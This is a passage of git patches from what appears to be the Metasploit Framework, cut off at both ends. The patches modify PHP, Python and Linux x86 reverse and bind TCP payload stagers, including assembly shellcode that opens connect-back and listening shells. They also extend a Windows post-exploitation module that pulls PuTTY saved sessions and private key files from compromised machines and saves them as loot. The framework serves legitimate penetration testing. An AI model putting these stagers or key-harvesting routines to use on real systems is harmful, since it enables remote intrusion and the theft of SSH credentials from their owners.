- reverse = File.read(File.join(Msf::Config::InstallRoot, 'data', 'php', 'reverse_tcp.php')) - reverse.gsub!("127.0.0.1", "#{datastore["LHOST"]}") - reverse.gsub!("4444", "#{datastore["LPORT"]}") - #reverse.gsub!(/#.*$/, '') - #reverse = Rex::Text.compress(reverse) - - return super + reverse - end - - # - # PHP's read functions suck, make sure they know exactly how much data to - # grab by sending a length. - # - def handle_intermediate_stage(conn, payload) - conn.put([payload.length].pack("N")) + 'Name' => 'PHP Reverse TCP Stager', + 'Description' => 'Reverse PHP connect back stager with checks for disabled functions', + 'Author' => 'egypt', + 'License' => MSF_LICENSE, + 'Platform' => 'php', + 'Arch' => ARCH_PHP, + 'Handler' => Msf::Handler::ReverseTcp, + 'Stager' => {'Payload' => ""} + )) end end diff --git a/modules/payloads/stagers/python/bind_tcp.rb b/modules/payloads/stagers/python/bind_tcp.rb index aaab854577..113f9b4828 100644 --- a/modules/payloads/stagers/python/bind_tcp.rb +++ b/modules/payloads/stagers/python/bind_tcp.rb @@ -12,7 +12,7 @@ require 'msf/base/sessions/command_shell_options' module Metasploit4 - CachedSize = 374 + CachedSize = 386 include Msf::Payload::Stager include Msf::Payload::Python diff --git a/modules/payloads/stagers/python/bind_tcp_uuid.rb b/modules/payloads/stagers/python/bind_tcp_uuid.rb index 279b2d9d62..951a9b1c30 100644 --- a/modules/payloads/stagers/python/bind_tcp_uuid.rb +++ b/modules/payloads/stagers/python/bind_tcp_uuid.rb @@ -12,7 +12,7 @@ require 'msf/base/sessions/command_shell_options' module Metasploit4 - CachedSize = 474 + CachedSize = 486 include Msf::Payload::Stager include Msf::Payload::Python diff --git a/modules/payloads/stagers/python/reverse_tcp.rb b/modules/payloads/stagers/python/reverse_tcp.rb index 08d5011f09..75b1a00929 100644 --- a/modules/payloads/stagers/python/reverse_tcp.rb +++ b/modules/payloads/stagers/python/reverse_tcp.rb @@ -14,7 +14,6 @@ module Metasploit4 CachedSize = 342 include Msf::Payload::Stager - include Msf::Payload::Python include Msf::Payload::Python::ReverseTcp def initialize(info = {}) diff --git a/modules/payloads/stages/php/meterpreter.rb b/modules/payloads/stages/php/meterpreter.rb index 08c4a8daf7..c978b93ff3 100644 --- a/modules/payloads/stages/php/meterpreter.rb +++ b/modules/payloads/stages/php/meterpreter.rb @@ -9,7 +9,8 @@ require 'msf/base/sessions/meterpreter_php' require 'msf/base/sessions/meterpreter_options' -module Metasploit3 +module Metasploit4 + include Msf::Sessions::MeterpreterOptions def initialize(info = {}) @@ -26,22 +27,20 @@ module Metasploit3 def generate_stage(opts={}) file = File.join(Msf::Config.data_directory, "meterpreter", "meterpreter.php") - met = File.open(file, "rb") {|f| + met = File.open(file, "rb") { |f| f.read(f.stat.size) } - unless opts[:uuid] - uuid = Msf::Payload::UUID.new( - platform: 'php', - arch: ARCH_PHP - ) - end + uuid = opts[:uuid] || Msf::Payload::UUID.new( + platform: 'php', + arch: ARCH_PHP + ) bytes = uuid.to_raw.chars.map { |c| '\x%.2x' % c.ord }.join('') met = met.sub("\"PAYLOAD_UUID\", \"\"", "\"PAYLOAD_UUID\", \"#{bytes}\"") - #met.gsub!(/#.*?$/, '') - #met = Rex::Text.compress(met) + met.gsub!(/#.*?$/, '') + met = Rex::Text.compress(met) met end end From e2d4ed60451614b66e1c564c43131986c9533987 Mon Sep 17 00:00:00 2001 From: OJ Date: Mon, 18 May 2015 17:49:34 +1000 Subject: [PATCH 0106/1013] Add the UUID payloads for PHP --- .../stagers/php/bind_tcp_ipv6_uuid.rb | 42 +++++++++++++++++++ modules/payloads/stagers/php/bind_tcp_uuid.rb | 38 +++++++++++++++++ .../payloads/stagers/php/reverse_tcp_uuid.rb | 38 +++++++++++++++++ 3 files changed, 118 insertions(+) create mode 100644 modules/payloads/stagers/php/bind_tcp_ipv6_uuid.rb create mode 100644 modules/payloads/stagers/php/bind_tcp_uuid.rb create mode 100644 modules/payloads/stagers/php/reverse_tcp_uuid.rb diff --git a/modules/payloads/stagers/php/bind_tcp_ipv6_uuid.rb b/modules/payloads/stagers/php/bind_tcp_ipv6_uuid.rb new file mode 100644 index 0000000000..a9ea0c45a0 --- /dev/null +++ b/modules/payloads/stagers/php/bind_tcp_ipv6_uuid.rb @@ -0,0 +1,42 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/handler/bind_tcp' +require 'msf/core/payload/php/bind_tcp' + +module Metasploit4 + + CachedSize = 1356 + + include Msf::Payload::Stager + include Msf::Payload::Php::BindTcp + + def self.handler_type_alias + "bind_tcp_ipv6_uuid" + end + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Bind TCP Stager IPv6 with UUID support', + 'Description' => 'Listen for a connection over IPv6 with UUID support', + 'Author' => ['egypt'], + 'License' => MSF_LICENSE, + 'Platform' => 'php', + 'Arch' => ARCH_PHP, + 'Handler' => Msf::Handler::BindTcp, + 'Stager' => { 'Payload' => "" } + )) + end + + def use_ipv6 + true + end + + def include_send_uuid + true + end + +end diff --git a/modules/payloads/stagers/php/bind_tcp_uuid.rb b/modules/payloads/stagers/php/bind_tcp_uuid.rb new file mode 100644 index 0000000000..f2729f810d --- /dev/null +++ b/modules/payloads/stagers/php/bind_tcp_uuid.rb @@ -0,0 +1,38 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/handler/bind_tcp' +require 'msf/core/payload/php/bind_tcp' + +module Metasploit4 + + CachedSize = 1357 + + include Msf::Payload::Stager + include Msf::Payload::Php::BindTcp + + def self.handler_type_alias + "bind_tcp_uuid" + end + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Bind TCP Stager with UUID support', + 'Description' => 'Listen for a connection with UUID support', + 'Author' => ['egypt'], + 'License' => MSF_LICENSE, + 'Platform' => 'php', + 'Arch' => ARCH_PHP, + 'Handler' => Msf::Handler::BindTcp, + 'Stager' => { 'Payload' => "" } + )) + end + + def include_send_uuid + true + end + +end diff --git a/modules/payloads/stagers/php/reverse_tcp_uuid.rb b/modules/payloads/stagers/php/reverse_tcp_uuid.rb new file mode 100644 index 0000000000..91c2de5a5d --- /dev/null +++ b/modules/payloads/stagers/php/reverse_tcp_uuid.rb @@ -0,0 +1,38 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/handler/reverse_tcp' +require 'msf/core/payload/php/reverse_tcp' + +module Metasploit4 + + CachedSize = 1105 + + include Msf::Payload::Stager + include Msf::Payload::Php::ReverseTcp + + def self.handler_type_alias + "reverse_tcp_uuid" + end + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'PHP Reverse TCP Stager', + 'Description' => 'Reverse PHP connect back stager with checks for disabled functions', + 'Author' => 'egypt', + 'License' => MSF_LICENSE, + 'Platform' => 'php', + 'Arch' => ARCH_PHP, + 'Handler' => Msf::Handler::ReverseTcp, + 'Stager' => {'Payload' => ""} + )) + end + + def include_send_uuid + true + end + +end From 6c00e62649612be63661f0b6bdf088adc41f909e Mon Sep 17 00:00:00 2001 From: OJ Date: Mon, 18 May 2015 19:11:33 +1000 Subject: [PATCH 0107/1013] Small fix to PHP stage --- modules/payloads/stages/php/meterpreter.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/payloads/stages/php/meterpreter.rb b/modules/payloads/stages/php/meterpreter.rb index c978b93ff3..5d6be8ce08 100644 --- a/modules/payloads/stages/php/meterpreter.rb +++ b/modules/payloads/stages/php/meterpreter.rb @@ -40,7 +40,7 @@ module Metasploit4 met = met.sub("\"PAYLOAD_UUID\", \"\"", "\"PAYLOAD_UUID\", \"#{bytes}\"") met.gsub!(/#.*?$/, '') - met = Rex::Text.compress(met) + #met = Rex::Text.compress(met) met end end From 77cf2ec60e7559b16d5a6652e28ef3875c9175b8 Mon Sep 17 00:00:00 2001 From: Stuart Morgan Date: Mon, 18 May 2015 11:20:53 +0100 Subject: [PATCH 0108/1013] Added basic private key detection and parsing --- .../gather/enum_putty_saved_sessions.rb | 68 ++++++++++++++++++- 1 file changed, 66 insertions(+), 2 deletions(-) diff --git a/modules/post/windows/gather/enum_putty_saved_sessions.rb b/modules/post/windows/gather/enum_putty_saved_sessions.rb index 915fbf9f0d..47653ecd40 100644 --- a/modules/post/windows/gather/enum_putty_saved_sessions.rb +++ b/modules/post/windows/gather/enum_putty_saved_sessions.rb @@ -16,6 +16,7 @@ class Metasploit3 < Msf::Post INTERESTING_KEYS = ['HostName', 'PublicKeyFile', 'UserName', 'PortNumber', 'PortForwardings'] PAGEANT_REGISTRY_KEY = "HKCU\\Software\\SimonTatham\\PuTTY" + PUTTY_PRIVATE_KEY_ANALYSIS = ['Name','HostName','PublicKeyFile','Type','Cipher','Comment'] def initialize(info = {}) super(update_info(info, @@ -74,6 +75,29 @@ class Metasploit3 < Msf::Post print_status("PuTTY saved sessions list saved to #{stored_path} in CSV format & available in notes (use 'notes -t putty.savedsession' to view).") end + def display_private_key_analysis(info) + # Results table holds raw string data + results_table = Rex::Ui::Text::Table.new( + 'Header' => "PuTTY Private Keys", + 'Indent' => 1, + 'SortIndex' => -1, + 'Columns' => ['Name','HostName','PublicKeyFile','Type','Cipher','Comment'] + ) + + info.each do |result| + row = [] + PUTTY_PRIVATE_KEY_ANALYSIS.each do |key| + row << result[key] + end + results_table << row + end + + print_line + print_line results_table.to_s + #stored_path = store_loot('putty.sessions.csv', 'text/csv', session, results_table.to_csv, nil, "PuTTY Saved Sessions List") + #print_status("PuTTY saved sessions list saved to #{stored_path} in CSV format & available in notes (use 'notes -t putty.savedsession' to view).") + end + def get_stored_host_key_details(allkeys) # This hash will store (as the key) host:port pairs. This is basically a quick way of # getting a unique list of host:port pairs. @@ -135,6 +159,7 @@ class Metasploit3 < Msf::Post end def grab_private_keys(sessions) + private_key_summary = [] sessions.each do |ses| filename = ses['PublicKeyFile'].to_s next if filename.empty? @@ -145,6 +170,41 @@ class Metasploit3 < Msf::Post if ppk # Attempt to read the contents of the file stored_path = store_loot('putty.ppk.file', 'application/octet-stream', session, ppk) print_good("PuTTY private key file for \'#{ses['Name']}\' (#{filename}) saved to: #{stored_path}") + + # Now analyse the private key + private_key = {} + private_key['Name'] = ses['Name'] + private_key['HostName'] = ses['HostName'] + private_key['PublicKeyFile'] = ses['PublicKeyFile'] + private_key['Type'] = '' + private_key['Cipher'] = '' + private_key['Comment'] = '' + + # Get type of key + if ppk.to_s =~ /^SSH PRIVATE KEY FILE FORMAT 1.1/ + # This is an SSH1 header + private_key['Type'] = 'ssh1' + if ppk[33] == "\x00" + private_key['Cipher'] = 'none' + elsif ppk[33] == "\x03" + private_key['Cipher'] = '3DES' + else + private_key['Cipher'] = '(Unrecognised)' + end + elsif rx = /^PuTTY-User-Key-File-2:\sssh-(?rsa|dss)[\r\n]/.match(ppk.to_s) + # This is an SSH2 header + private_key['Type'] = "ssh2 (#{rx[:keytype]})" + if rx = /^Encryption:\s(?[-a-z0-9]+?)[\r\n]/.match(ppk.to_s) + private_key['Cipher'] = rx[:cipher] + else + private_key['Cipher'] = '(Unrecognised)' + end + + if rx = /^Comment:\s(?.+?)[\r\n]/.match(ppk.to_s) + private_key['Comment'] = rx[:comment] + end + end + private_key_summary << private_key else print_error("Unable to read PuTTY private key file for \'#{ses['Name']}\' (#{filename})") # May be that we do not have permissions etc end @@ -152,6 +212,7 @@ class Metasploit3 < Msf::Post print_error("PuTTY private key file for \'#{ses['Name']}\' (#{filename}) could not be read.") end end + private_key_summary end # Entry point @@ -172,8 +233,11 @@ class Metasploit3 < Msf::Post # If the private key file has been configured, retrieve it and save it to loot print_status("Downloading private keys...") - grab_private_keys(all_saved_sessions) - + private_key_info = grab_private_keys(all_saved_sessions) + if (!private_key_info.nil? && !private_key_info.empty?) + print_line + display_private_key_analysis(private_key_info) + end end print_line # Just for readability From 593f6e5fc4ef34ed99c598e6e4e991c04a699fc7 Mon Sep 17 00:00:00 2001 From: OJ Date: Mon, 18 May 2015 20:25:15 +1000 Subject: [PATCH 0109/1013] Fix issue with bind UUID --- lib/msf/core/payload/linux/bind_tcp.rb | 7 ++++++- lib/msf/core/payload/linux/send_uuid.rb | 5 +++++ 2 files changed, 11 insertions(+), 1 deletion(-) diff --git a/lib/msf/core/payload/linux/bind_tcp.rb b/lib/msf/core/payload/linux/bind_tcp.rb index 06bc75f80d..148ae17c7e 100644 --- a/lib/msf/core/payload/linux/bind_tcp.rb +++ b/lib/msf/core/payload/linux/bind_tcp.rb @@ -145,7 +145,12 @@ module Payload::Linux::BindTcp xchg eax,ebx ^ - asm << asm_send_uuid if include_send_uuid + if include_send_uuid + asm << %Q^ + mov edi, ebx + #{asm_send_uuid} + ^ + end asm << %Q^ mov dh,0xc ; at least 0x0c00 bytes diff --git a/lib/msf/core/payload/linux/send_uuid.rb b/lib/msf/core/payload/linux/send_uuid.rb index bc7bc34ee5..fb917448f2 100644 --- a/lib/msf/core/payload/linux/send_uuid.rb +++ b/lib/msf/core/payload/linux/send_uuid.rb @@ -30,6 +30,8 @@ module Payload::Linux::SendUUID asm =%Q^ send_uuid: + push ebx ; store ebx for later + push ecx ; store ecx for later push 0 ; terminate the args array push #{uuid_raw.length} ; length of the UUID call get_uuid_address ; put uuid buffer on tehe stack @@ -42,6 +44,9 @@ module Payload::Linux::SendUUID push 0x66 ; sys_socketcall pop eax int 0x80 + add esp, 16 ; put the stack back how it was + pop ecx ; restore ecx + pop ebx ; restore ebx ^ asm From 7f16b7164fcfdb0266922b6f45c559079e533d62 Mon Sep 17 00:00:00 2001 From: Stuart Morgan Date: Mon, 18 May 2015 11:43:08 +0100 Subject: [PATCH 0110/1013] Added database writing code --- .../gather/enum_putty_saved_sessions.rb | 45 +++++++++++++++++++ 1 file changed, 45 insertions(+) diff --git a/modules/post/windows/gather/enum_putty_saved_sessions.rb b/modules/post/windows/gather/enum_putty_saved_sessions.rb index 47653ecd40..4062ee250e 100644 --- a/modules/post/windows/gather/enum_putty_saved_sessions.rb +++ b/modules/post/windows/gather/enum_putty_saved_sessions.rb @@ -174,11 +174,14 @@ class Metasploit3 < Msf::Post # Now analyse the private key private_key = {} private_key['Name'] = ses['Name'] + private_key['Port'] = ses['PortNumber'] + private_key['UserName'] = ses['UserName'] private_key['HostName'] = ses['HostName'] private_key['PublicKeyFile'] = ses['PublicKeyFile'] private_key['Type'] = '' private_key['Cipher'] = '' private_key['Comment'] = '' + private_key['KeyData'] = ppk # Get type of key if ppk.to_s =~ /^SSH PRIVATE KEY FILE FORMAT 1.1/ @@ -215,6 +218,43 @@ class Metasploit3 < Msf::Post private_key_summary end + def store_private_key_in_db(username,host,port,key) + service_data = { + address: host, + port: port, + service_name: 'ssh', + protocol: 'tcp', + workspace_id: myworkspace_id, + } + + credential_data = { + origin_type: :session, + session_id: session_db_id, + post_reference_name: refname, + username: username, + realm: nil, + realm_key: nil, + auth_methods: ['publickey'], + key_data: key + } + + credential_data.merge!(service_data) + + # Create the Metasploit::Credential::Core object + credential_core = create_credential(credential_data) + status = Metasploit::Model::Login::Status::UNTRIED + + # Assemble the options hash for creating the Metasploit::Credential::Login object + login_data = { + core: credential_core, + status: status + } + + # Merge in the service data and create our Login + login_data.merge!(service_data) + create_credential_login(login_data) + end + # Entry point def run # Look for saved sessions, break out if not. @@ -237,6 +277,11 @@ class Metasploit3 < Msf::Post if (!private_key_info.nil? && !private_key_info.empty?) print_line display_private_key_analysis(private_key_info) + + # Store unencrypted keys in the DB + private_key_info.each do |ses| + store_private_key_in_db(ses['UserName'],ses['HostName'],ses['PortNumber'],ses['KeyData']) if ses['Cipher']=='none' + end end end From cf05e695368d77f8fdc1dde8621eba3dfcf8e2c6 Mon Sep 17 00:00:00 2001 From: Stuart Morgan Date: Mon, 18 May 2015 11:51:27 +0100 Subject: [PATCH 0111/1013] Removed database storage for now (need to convert keys to OpenSSH format and resolve IP addresses first) --- .../gather/enum_putty_saved_sessions.rb | 51 ++----------------- 1 file changed, 4 insertions(+), 47 deletions(-) diff --git a/modules/post/windows/gather/enum_putty_saved_sessions.rb b/modules/post/windows/gather/enum_putty_saved_sessions.rb index 4062ee250e..d1aa2ce8b5 100644 --- a/modules/post/windows/gather/enum_putty_saved_sessions.rb +++ b/modules/post/windows/gather/enum_putty_saved_sessions.rb @@ -14,9 +14,9 @@ class Metasploit3 < Msf::Post include Msf::Post::File include Msf::Post::Windows::Registry - INTERESTING_KEYS = ['HostName', 'PublicKeyFile', 'UserName', 'PortNumber', 'PortForwardings'] + INTERESTING_KEYS = ['HostName', 'UserName', 'PublicKeyFile', 'PortNumber', 'PortForwardings'] PAGEANT_REGISTRY_KEY = "HKCU\\Software\\SimonTatham\\PuTTY" - PUTTY_PRIVATE_KEY_ANALYSIS = ['Name','HostName','PublicKeyFile','Type','Cipher','Comment'] + PUTTY_PRIVATE_KEY_ANALYSIS = ['Name','HostName','UserName','PublicKeyFile','Type','Cipher','Comment'] def initialize(info = {}) super(update_info(info, @@ -81,7 +81,7 @@ class Metasploit3 < Msf::Post 'Header' => "PuTTY Private Keys", 'Indent' => 1, 'SortIndex' => -1, - 'Columns' => ['Name','HostName','PublicKeyFile','Type','Cipher','Comment'] + 'Columns' => PUTTY_PRIVATE_KEY_ANALYSIS ) info.each do |result| @@ -174,19 +174,18 @@ class Metasploit3 < Msf::Post # Now analyse the private key private_key = {} private_key['Name'] = ses['Name'] - private_key['Port'] = ses['PortNumber'] private_key['UserName'] = ses['UserName'] private_key['HostName'] = ses['HostName'] private_key['PublicKeyFile'] = ses['PublicKeyFile'] private_key['Type'] = '' private_key['Cipher'] = '' private_key['Comment'] = '' - private_key['KeyData'] = ppk # Get type of key if ppk.to_s =~ /^SSH PRIVATE KEY FILE FORMAT 1.1/ # This is an SSH1 header private_key['Type'] = 'ssh1' + private_key['Comment'] = '-' if ppk[33] == "\x00" private_key['Cipher'] = 'none' elsif ppk[33] == "\x03" @@ -218,43 +217,6 @@ class Metasploit3 < Msf::Post private_key_summary end - def store_private_key_in_db(username,host,port,key) - service_data = { - address: host, - port: port, - service_name: 'ssh', - protocol: 'tcp', - workspace_id: myworkspace_id, - } - - credential_data = { - origin_type: :session, - session_id: session_db_id, - post_reference_name: refname, - username: username, - realm: nil, - realm_key: nil, - auth_methods: ['publickey'], - key_data: key - } - - credential_data.merge!(service_data) - - # Create the Metasploit::Credential::Core object - credential_core = create_credential(credential_data) - status = Metasploit::Model::Login::Status::UNTRIED - - # Assemble the options hash for creating the Metasploit::Credential::Login object - login_data = { - core: credential_core, - status: status - } - - # Merge in the service data and create our Login - login_data.merge!(service_data) - create_credential_login(login_data) - end - # Entry point def run # Look for saved sessions, break out if not. @@ -277,11 +239,6 @@ class Metasploit3 < Msf::Post if (!private_key_info.nil? && !private_key_info.empty?) print_line display_private_key_analysis(private_key_info) - - # Store unencrypted keys in the DB - private_key_info.each do |ses| - store_private_key_in_db(ses['UserName'],ses['HostName'],ses['PortNumber'],ses['KeyData']) if ses['Cipher']=='none' - end end end From 8b8ed04a73611456cc52b809c967334d88284843 Mon Sep 17 00:00:00 2001 From: Stuart Morgan Date: Mon, 18 May 2015 11:56:12 +0100 Subject: [PATCH 0112/1013] Rubocop --- .../gather/enum_putty_saved_sessions.rb | 22 +++++++++---------- 1 file changed, 11 insertions(+), 11 deletions(-) diff --git a/modules/post/windows/gather/enum_putty_saved_sessions.rb b/modules/post/windows/gather/enum_putty_saved_sessions.rb index d1aa2ce8b5..00d38c0806 100644 --- a/modules/post/windows/gather/enum_putty_saved_sessions.rb +++ b/modules/post/windows/gather/enum_putty_saved_sessions.rb @@ -16,7 +16,7 @@ class Metasploit3 < Msf::Post INTERESTING_KEYS = ['HostName', 'UserName', 'PublicKeyFile', 'PortNumber', 'PortForwardings'] PAGEANT_REGISTRY_KEY = "HKCU\\Software\\SimonTatham\\PuTTY" - PUTTY_PRIVATE_KEY_ANALYSIS = ['Name','HostName','UserName','PublicKeyFile','Type','Cipher','Comment'] + PUTTY_PRIVATE_KEY_ANALYSIS = ['Name', 'HostName', 'UserName', 'PublicKeyFile', 'Type', 'Cipher', 'Comment'] def initialize(info = {}) super(update_info(info, @@ -94,8 +94,8 @@ class Metasploit3 < Msf::Post print_line print_line results_table.to_s - #stored_path = store_loot('putty.sessions.csv', 'text/csv', session, results_table.to_csv, nil, "PuTTY Saved Sessions List") - #print_status("PuTTY saved sessions list saved to #{stored_path} in CSV format & available in notes (use 'notes -t putty.savedsession' to view).") + # stored_path = store_loot('putty.sessions.csv', 'text/csv', session, results_table.to_csv, nil, "PuTTY Saved Sessions List") + # print_status("PuTTY saved sessions list saved to #{stored_path} in CSV format & available in notes (use 'notes -t putty.savedsession' to view).") end def get_stored_host_key_details(allkeys) @@ -187,23 +187,23 @@ class Metasploit3 < Msf::Post private_key['Type'] = 'ssh1' private_key['Comment'] = '-' if ppk[33] == "\x00" - private_key['Cipher'] = 'none' + private_key['Cipher'] = 'none' elsif ppk[33] == "\x03" - private_key['Cipher'] = '3DES' + private_key['Cipher'] = '3DES' else - private_key['Cipher'] = '(Unrecognised)' + private_key['Cipher'] = '(Unrecognised)' end elsif rx = /^PuTTY-User-Key-File-2:\sssh-(?rsa|dss)[\r\n]/.match(ppk.to_s) # This is an SSH2 header private_key['Type'] = "ssh2 (#{rx[:keytype]})" if rx = /^Encryption:\s(?[-a-z0-9]+?)[\r\n]/.match(ppk.to_s) - private_key['Cipher'] = rx[:cipher] + private_key['Cipher'] = rx[:cipher] else - private_key['Cipher'] = '(Unrecognised)' + private_key['Cipher'] = '(Unrecognised)' end if rx = /^Comment:\s(?.+?)[\r\n]/.match(ppk.to_s) - private_key['Comment'] = rx[:comment] + private_key['Comment'] = rx[:comment] end end private_key_summary << private_key @@ -236,9 +236,9 @@ class Metasploit3 < Msf::Post # If the private key file has been configured, retrieve it and save it to loot print_status("Downloading private keys...") private_key_info = grab_private_keys(all_saved_sessions) - if (!private_key_info.nil? && !private_key_info.empty?) + if !private_key_info.nil? && !private_key_info.empty? print_line - display_private_key_analysis(private_key_info) + display_private_key_analysis(private_key_info) end end From e7f80042d401298d74268e1a6c1c99b632e4a3c2 Mon Sep 17 00:00:00 2001 From: OJ Date: Mon, 18 May 2015 21:19:04 +1000 Subject: [PATCH 0113/1013] Finalise work on the bind_ipv6_tcp stager for UUID support --- lib/msf/core/payload/linux/bind_tcp.rb | 37 +++++++- .../stagers/linux/x86/bind_ipv6_tcp.rb | 88 +++++-------------- .../stagers/linux/x86/bind_ipv6_tcp_uuid.rb | 45 ++++++++++ 3 files changed, 101 insertions(+), 69 deletions(-) create mode 100644 modules/payloads/stagers/linux/x86/bind_ipv6_tcp_uuid.rb diff --git a/lib/msf/core/payload/linux/bind_tcp.rb b/lib/msf/core/payload/linux/bind_tcp.rb index 148ae17c7e..a8de052bc6 100644 --- a/lib/msf/core/payload/linux/bind_tcp.rb +++ b/lib/msf/core/payload/linux/bind_tcp.rb @@ -46,6 +46,10 @@ module Payload::Linux::BindTcp false end + def use_ipv6 + false + end + # # Generate and compile the stager # @@ -82,7 +86,13 @@ module Payload::Linux::BindTcp def asm_bind_tcp(opts={}) #reliable = opts[:reliable] - encoded_port = "0x%.8x" % [opts[:port].to_i,2].pack("vn").unpack("N").first + af_inet = 2 + + if use_ipv6 + af_inet = 0xa + end + + encoded_port = "0x%.8x" % [opts[:port].to_i, af_inet].pack("vn").unpack("N").first asm = %Q^ bind_tcp: @@ -99,7 +109,7 @@ module Payload::Linux::BindTcp push ebx ; PROTO inc ebx ; SYS_SOCKET and SOCK_STREAM push ebx - push 0x2 ; SYS_BIND and AF_INET + push #{af_inet} ; SYS_BIND and AF_INET(6) mov ecx,esp mov al,0x66 ; socketcall syscall int 0x80 ; invoke socketcall (SYS_SOCKET) @@ -124,15 +134,38 @@ module Payload::Linux::BindTcp pop ebx pop esi + ^ + + if use_ipv6 + asm << %Q^ + push 2 + pop ebx + push edx + push edx + push edx + push edx + push edx + push edx + push #{encoded_port} + mov ecx,esp + push 0x1c + ^ + else + asm << %Q^ push edx push #{encoded_port} push 0x10 + ^ + end + + asm << %Q^ push ecx push eax mov ecx,esp push 0x66 ; socketcall syscall pop eax int 0x80 ; invoke socketcall (SYS_BIND) + shl ebx,1 ; SYS_LISTEN mov al,0x66 ; socketcall syscall (SYS_LISTEN) int 0x80 ; invoke socketcall diff --git a/modules/payloads/stagers/linux/x86/bind_ipv6_tcp.rb b/modules/payloads/stagers/linux/x86/bind_ipv6_tcp.rb index 6550d656a2..15401bb9b6 100644 --- a/modules/payloads/stagers/linux/x86/bind_ipv6_tcp.rb +++ b/modules/payloads/stagers/linux/x86/bind_ipv6_tcp.rb @@ -1,87 +1,41 @@ + ## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## + require 'msf/core' require 'msf/core/handler/bind_tcp' +require 'msf/core/payload/linux/bind_tcp' -# Linux Bind TCP/IPv6 Stager -module Metasploit3 +module Metasploit4 - CachedSize = 85 + CachedSize = 110 include Msf::Payload::Stager - include Msf::Payload::Linux + include Msf::Payload::Linux::BindTcp def self.handler_type_alias - "bind_ipv6_tcp" + 'bind_ipv6_tcp' end def initialize(info = {}) super(merge_info(info, - 'Name' => 'Bind TCP Stager (IPv6)', - 'Description' => 'Listen for a connection over IPv6', - 'Author' => [ - 'kris katterjohn', # original - 'egypt', # NX support - ], - 'License' => MSF_LICENSE, - 'Platform' => 'linux', - 'Arch' => ARCH_X86, - 'Handler' => Msf::Handler::BindTcp, - 'Stager' => { - 'Offsets' => { 'LPORT' => [ 0x18, 'n' ] }, - 'Payload' => - - "\x6a\x7d" +# push byte +0x7d - "\x58" +# pop eax - "\x99" +# cdq - "\xb2\x07" +# mov dl,0x7 - "\xb9\x00\x10\x00\x00" +# mov ecx,0x1000 - "\x89\xe3" +# mov ebx,esp - "\x66\x81\xe3\x00\xf0" +# and bx,0xf000 - "\xcd\x80" +# int 0x80 - "\x31\xdb" +# xor ebx,ebx - "\xf7\xe3" +# mul ebx - "\x53" +# push ebx - "\x43" +# inc ebx - "\x53" +# push ebx - "\x6a\x0a" +# push byte +0xa - "\x89\xe1" +# mov ecx,esp - "\xb0\x66" +# mov al,0x66 - "\xcd\x80" +# int 0x80 - "\x43" +# inc ebx - "\x52" +# push edx - "\x52" +# push edx - "\x52" +# push edx - "\x52" +# push edx - "\x52" +# push edx - "\x52" +# push edx - "\x68\x0a\x00\xbf\xbf" +# push dword 0xbfbf000a - "\x89\xe1" +# mov ecx,esp - "\x6a\x1c" +# push byte +0x1c - "\x51" +# push ecx - "\x50" +# push eax - "\x89\xe1" +# mov ecx,esp - "\x6a\x66" +# push byte +0x66 - "\x58" +# pop eax - "\xcd\x80" +# int 0x80 - "\xd1\xe3" +# shl ebx,1 - "\xb0\x66" +# mov al,0x66 - "\xcd\x80" +# int 0x80 - "\x43" +# inc ebx - "\xb0\x66" +# mov al,0x66 - "\x89\x51\x04" +# mov [ecx+0x4],edx - "\xcd\x80" +# int 0x80 - "\x93" +# xchg eax,ebx - "\xb6\x0c" +# mov dh,0xc - "\xb0\x03" +# mov al,0x3 - "\xcd\x80" +# int 0x80 - "\x89\xdf" +# mov edi,ebx - "\xff\xe1" # jmp ecx - - } + 'Name' => 'Bind IPv6 TCP Stager (Linux x86)', + 'Description' => 'Listen for an IPv6 connection (Linux x86)', + 'Author' => [ 'kris katterjohn', 'egypt' ], + 'License' => MSF_LICENSE, + 'Platform' => 'linux', + 'Arch' => ARCH_X86, + 'Handler' => Msf::Handler::BindTcp, + 'Convention' => 'sockedi', + 'Stager' => { 'RequiresMidstager' => true } )) end + + def use_ipv6 + true + end + end diff --git a/modules/payloads/stagers/linux/x86/bind_ipv6_tcp_uuid.rb b/modules/payloads/stagers/linux/x86/bind_ipv6_tcp_uuid.rb new file mode 100644 index 0000000000..1f944b7a9a --- /dev/null +++ b/modules/payloads/stagers/linux/x86/bind_ipv6_tcp_uuid.rb @@ -0,0 +1,45 @@ + +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + + +require 'msf/core' +require 'msf/core/handler/bind_tcp' +require 'msf/core/payload/linux/bind_tcp' + +module Metasploit4 + + CachedSize = 110 + + include Msf::Payload::Stager + include Msf::Payload::Linux::BindTcp + + def self.handler_type_alias + 'bind_ipv6_tcp_uuid' + end + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Bind IPv6 TCP Stager with UUID support (Linux x86)', + 'Description' => 'Listen for an IPv6 connection with UUID support (Linux x86)', + 'Author' => [ 'kris katterjohn', 'egypt', 'OJ Reeves' ], + 'License' => MSF_LICENSE, + 'Platform' => 'linux', + 'Arch' => ARCH_X86, + 'Handler' => Msf::Handler::BindTcp, + 'Convention' => 'sockedi', + 'Stager' => { 'RequiresMidstager' => true } + )) + end + + def use_ipv6 + true + end + + def include_send_uuid + true + end + +end From 28abceaec5559d369cb7594eea85e98687345db3 Mon Sep 17 00:00:00 2001 From: OJ Date: Mon, 18 May 2015 21:22:54 +1000 Subject: [PATCH 0114/1013] Update payload sizes and specs --- modules/payloads/stagers/linux/x86/bind_ipv6_tcp.rb | 2 +- .../payloads/stagers/linux/x86/bind_ipv6_tcp_uuid.rb | 2 +- modules/payloads/stagers/linux/x86/bind_tcp_uuid.rb | 2 +- .../payloads/stagers/linux/x86/reverse_tcp_uuid.rb | 2 +- spec/modules/payloads_spec.rb | 11 +++++++++++ 5 files changed, 15 insertions(+), 4 deletions(-) diff --git a/modules/payloads/stagers/linux/x86/bind_ipv6_tcp.rb 